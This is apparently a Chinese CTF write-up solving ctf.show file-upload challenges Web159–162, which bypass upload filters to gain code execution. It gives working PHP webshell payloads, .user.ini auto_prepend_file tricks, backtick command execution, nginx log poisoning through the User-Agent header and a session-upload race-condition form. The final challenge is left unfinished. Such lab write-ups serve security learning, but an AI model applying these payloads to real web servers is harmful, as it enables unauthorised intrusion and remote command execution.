Web159
考点:
前端校验+MIME验证+黑名单
思路:
上传.user.ini文件:
文件内容auto_prepend_file=shell.png
由于网页存在前端过滤,只允许上传.png文件,所以我们将文件名修改为.user.ini.png上传,然后抓包删除.png后缀名,就能成功上传了。
然后上传shell.png:
文件内容:<?php @eval($_POST['cmd']);?>
不出所料被过滤了。抓包测试一下过滤了哪些字符。
由于[]和{}都被过滤了,不能上传一句话木马,直接进行RCE。
又因为括号(也被过滤,所以选择用反引号执行系统命令。
<?=`ls ../`?>
<?=`tac ../fla*`?>
访问/upload目录,得到flag.
Web160
思路:
上传.user.ini文件:
上传shell.png文件:
文件内容<?php @eval($_POST['cmd']);?>
上传失败,抓包测试过滤了什么:
过滤了{}和[],所以不能使用一句话木马。
过滤了()和反引号,不能直接进行RCE。
考虑使用日志注入,由于过滤了log,所以拼接绕过:
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
修改UA为:<?php eval($_POST[1]);?>
POST传参:
1=system('ls ../');
1=system('tac ../fla*');
得到flag.
也可以蚁剑连接(要在修改后的UA头写入之后连接,不然日志文件中没有PHP代码)
得到flag.
Web161
思路:
上传.user.ini文件,显示文件上传不合规:
其实是添加了文件头校验:
检查上传的文件时,只检查文件的后缀是不够的,还需要检测文件头是否合法。每一种类型的文件都有不同的文件头。文件头的作用其实与后缀很像,都是用于提示文件类型,可以理解为文件的前缀。
所以我们在文件内容前添加 GIF89a ,也就是GIF文件的文件头来绕过检测:
.user.ini文件内容:
GIF89a
auto_prepend_file=shell.png
上传成功!
上传shell.png文件:
GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
上传成功!
修改UA为:<?php eval($_POST[1]);?>
POST传参:
1=system('ls ../');
1=system('tac ../fla*');
得到flag.
Web162
思路:
上传.user.ini文件,上传失败,进行fuzz测试:
过滤了相当多的字符
[]和{}被过滤,不能直接传一句话木马。
() " ' .
都被过滤,不能进行RCE。
这里看到点.
被过滤了,所以我们不能正常上传文件与进行日志包含。
选择session条件竞争的做法。
GIF89a
auto_prepend_file=/tmp/sess_shell //上传shell.png文件时记得将后缀名去掉
上传成功!(注:fuzz测试显示下划线_和/也被过滤,但是不知道为什么对上传没有影响)
准备一个上传数据包的网页:
<!DOCTYPE html>
<html>
<body>
<form action="http://67371c84-3fd6-4832-9fa5-fd0dcaedcd64.challenge.ctf.show/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('tac ../f*')?>") /><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html>
后续操作暂时没有进行成功,先将思路贴在这里: